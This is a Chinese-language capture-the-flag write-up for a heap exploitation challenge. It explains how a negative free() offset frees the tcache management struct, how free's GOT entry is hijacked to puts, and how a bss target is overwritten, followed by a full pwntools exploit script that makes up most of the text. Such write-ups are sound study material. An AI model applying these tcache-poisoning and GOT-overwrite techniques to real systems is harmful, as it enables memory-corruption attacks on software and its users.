got表可以覆写
pie也没开
三个功能
1
申请空间 读入内容 释放空间
2
给释放任意一次堆的机会
往bss上的target写东西,写上去就成。
我们观察到
free的时候那个chunk的偏移可以输入负值
所以我们直接输入-0x290就可以free掉tcache struct
我们刚开始的想法是直接在struct中填上target处的地址,然后malloc回来改了就行
但是后来发现,因为程序中malloc之后写入内容之后会强制free,这会导致我们malloc的chunk在free的时候报错
尝试在got表中去寻找合适的malloc的位置但是也都失败了
最后决定我们可以直接劫持掉free的got表,直接劫持成puts的plt,让其free的时候仅仅是puts一下。
此时我们可以直接再次覆盖下去,但是要吧里面其他函数的got表都填好
当然我们也可以再次攻击tcache struct,这次就可以直接攻击target,改了就好。
exp
from pwn import*
from ctypes import*
lib = cdll.LoadLibrary('libc.so.6')
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
def debug():
gdb.attach(r, "b *0x401384\n c\n")
pause()
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
r = process("./pwn")
elf = ELF('./pwn')
def add(size, content):
sla("> ", "1")
sl(str(size))
sl(content)
def free(num):
sla("> ", "2")
sl(str(num))
def success():
sla("> ", "3")
payload = b"a" * 0x20 + p64(0) + p64(0x91)
add(0x70, payload)
add(0x90, b"aaaa")
free(-0x290)
payload = p64(0x11111111) * 8 + p64(0) * 20 + p64(0x404018)
add(0x280, payload)
#debug()
'''
dq offset free ; DATA XREF: _free+4↑r
dq offset puts ; DATA XREF: _puts+4↑r
dq offset write ; DATA XREF: _write+4↑r
dq offset __stack_chk_fail; DATA XREF: ___stack_chk_fail+4↑r
dq offset setlinebuf ; DATA XREF: _setlinebuf+4↑r
dq offset alarm ; DATA XREF: _alarm+4↑r
dq offset read ; DATA XREF: _read+4↑r
dq offset malloc ; DATA XREF: _malloc+4↑r
dq offset open ; DATA XREF: _open+4↑r
dq offset atoi ; DATA XREF: _atoi+4↑r
dq offset exit ; DATA XREF: _exit+4↑r
'''
puts_plt = elf.plt['puts']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
malloc_plt = elf.plt['malloc']
open_plt = elf.plt['open']
atoi_plt = elf.plt['atoi']
exit_plt = elf.plt['exit']
add(0xd0, p64(puts_plt) + p64(0x401040))
payload = p64(0x11111111) * 8 + p64(0) * 20 + p64(0x404080)
add(0x280, payload)
add(0xd0, p64(0xdeadbeef))
success()
ti()